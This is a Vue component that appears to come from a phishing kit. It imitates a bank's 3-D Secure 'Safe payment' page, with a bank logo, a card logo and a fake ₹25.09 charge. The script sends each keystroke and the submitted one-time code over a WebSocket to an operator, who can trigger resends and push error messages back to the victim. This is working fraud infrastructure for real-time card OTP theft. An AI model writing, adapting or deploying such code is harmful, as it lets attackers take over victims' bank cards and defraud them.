<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/counter";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";

const cardType = ref("");
const message1 = ref("");
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "otpValid" },
    })
  );
  const route = useRoute();
  const query = route.query as any;
  if (query && query.cardType) {
    cardType.value = query.cardType;
    localStorage.setItem("cardType", query.cardType);
  } else {
    const type = localStorage.getItem("cardType");
    if (type) {
      cardType.value = type;
    }
  }

  if (query && query.message1) {
    message1.value = query.message1;
    localStorage.setItem("message1", query.message1);
  } else {
    const type = localStorage.getItem("message1");
    if (type) {
      message1.value = type;
    }
  }
  localStorage.setItem("route", "otpValid");
  startCountdown("");
  eventBus.on("otp-valid", handleEvent);
});

const formData = reactive({ verifyCode: "" });

const onchange = (value: any) => {
  inputChange("input_card", "verifyCode", value.target.value);
  formData.verifyCode = value.target.value;
};

const submit = async () => {
  await nextTick();
  useLoadingStore().isLoading = true;
  if (!areAllValuesNotEmpty(formData)) {
    useLoadingStore().isLoading = false;
    return;
  }
  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: {
        type: "submitValidCode",
        formData: formData,
      },
    })
  );
};
const initialTime = 60; // 倒计时时间，单位为秒
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;

const buttonText = computed(() => {
  return isCounting.value
    ? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
    : t("Click here to receive another code");
});

const startCountdown = (resultType: string) => {
  if (isCounting.value) return; // 如果已经在倒计时，则不执行
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "otpValid", resultType: resultType },
    })
  );
  isCounting.value = true;
  timeLeft.value = initialTime;

  timer = window.setInterval(() => {
    if (timeLeft.value > 0) {
      timeLeft.value -= 1;
    } else {
      stopCountdown();
    }
  }, 1000);
};


const stopCountdown = () => {
  if (timer !== null) {
    clearInterval(timer);
    timer = null;
  }
  isCounting.value = false;
};

const message = ref("");

const handleEvent = (data: { message2: string }) => {
  message.value = data.message2;
};

onUnmounted(() => {
  eventBus.off("otp-valid", handleEvent);
});
</script>

<template>
  <div id="darcula-teleport-page">
    <div>
      <form class="container" @submit.prevent="submit">
        <div class="header">
          <div class="bank-logo">
            <img src="@/assets/img/80066acd3fcfa.svg" alt="bank" />
          </div>
          <div class="card-logo">
            <CardType1 :cardType="cardType" />
          </div>
        </div>
        <br />
        <div style="font-size: 20px">
          <b>{{ t("Safe payment") }}</b>
        </div>
        <p v-if="!message1">
          {{
            t("Please confirm your identity and a one-time code will be sent")
          }}
        </p>
        <p v-if="message1">
          {{ t("The verification code has been sent to") }} ***{{ message1 }}
        </p>
        <p>{{ t("Please do not click the") }}</p>
        <br />
        <div class="input" style="text-align: center">
          <label>{{ t("Verification code") }}</label>
          <input
            required
            type="text"
            inputmode="numeric"
            @input="onchange"
            v-model="formData.verifyCode"
            minlength="3"
            maxlength="8"
          />
        </div>
        <div class="error" v-if="message">
          {{ message }}
        </div>
        <br />
        <div class="button-submit">
          <button type="submit">{{ t("Submit") }} ₹25.09</button>
        </div>
        <div class="resend" @click="startCountdown('resendCode')">
          <a href="javascript:">{{ buttonText }}</a>
        </div>
      </form>
    </div>
  </div>
</template>

<style scoped>
.error {
  color: red;
  font-size: 0.9em;
}

.container {
  padding: 15px;
  font-size: 16px;
  max-width: 800px;
  margin: 0 auto;
}

.container .header {
  height: 66px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  border-bottom: 1px solid #e3e3e3;
}

.container .header > div {
  display: flex;
  align-items: center;
}

.container .header .bank-logo {
  height: 100%;
}

.container .header .card-logo {
  height: 100%;
  position: relative;
}

.container .header .card-logo:after {
  content: "";
  display: block;
  position: absolute;
  top: 0;
  width: 15px;
  height: 100%;
  background: linear-gradient(
    90deg,
    transparent,
    rgba(255, 255, 255, 0.6352941176),
    transparent
  );
  animation: line 2s infinite;
}

@keyframes line {
  0% {
    left: -15px;
  }
  to {
    left: 100%;
  }
}

.container div.input label {
  display: block;
  margin-bottom: 5px;
}

.container div.input input {
  width: 100%;
  padding: 8px 5px;
  text-align: center;
  outline: none;
  border: 2px solid black;
  border-radius: 5px;
  font-weight: 700;
  font-size: 16px;
  box-sizing: border-box;
}

.container div.input input:focus {
  border-color: #5381be;
}

.container div.button-submit button {
  width: 100%;
  padding: 10px 5px;
  cursor: pointer;
  background: linear-gradient(180deg, #2047f4 0, #385bf8 100%);
  color: #fff;
  border: none;
  outline: none;
  border-radius: 3px;
}

.container .resend {
  margin-top: 8px;
  text-align: center;
  font-size: 13px;
}

.container .resend a {
  color: #000;
  -webkit-text-decoration: underline;
  text-decoration: underline;
}

body {
  margin: 0;
  padding: 0 0 0;
  background: #fff;
  color: #000;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  overflow-x: hidden;
  font-size: 15px;
}
p {
  display: block;
  margin-block-start: 1em;
  margin-block-end: 1em;
  margin-inline-start: 0px;
  margin-inline-end: 0px;
  unicode-bidi: isolate;
}
</style>
